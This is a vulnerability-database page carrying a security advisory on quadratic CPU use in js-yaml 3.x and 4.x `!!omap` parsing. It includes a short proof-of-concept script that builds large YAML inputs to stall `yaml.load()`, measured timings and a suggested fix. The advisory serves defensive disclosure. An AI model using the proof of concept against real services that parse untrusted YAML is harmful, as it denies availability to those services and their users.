Vulnerability details

7.5/10
CVSS 3.1
GHSA-5p4m-2wfm-xmqj
not_affected Published 2026-08-06 Updated 2026-08-06
Vulnerability Data from Dependency-Track
Description
# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x) ## Summary `resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML. `!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required. **This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation. ## Affected versions | Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) | Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue. ## Details `lib/type/omap.js` (js-yaml 4.3.0): ```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ``` `objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration. The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`): ```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ``` ## Proof of concept ```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n'; for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ``` ### Measured (node v20.20.2, default heap, no flags) **js-yaml 4.3.0** ``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ``` **js-yaml 3.15.0** ``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ``` Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×). Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**. ## Impact Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request. Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required. ## Suggested fix Mirror the 5.x fix — replace the linear scan with a `Set`: ```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ``` This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option. ## References - CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema ## Discovery Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned.
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.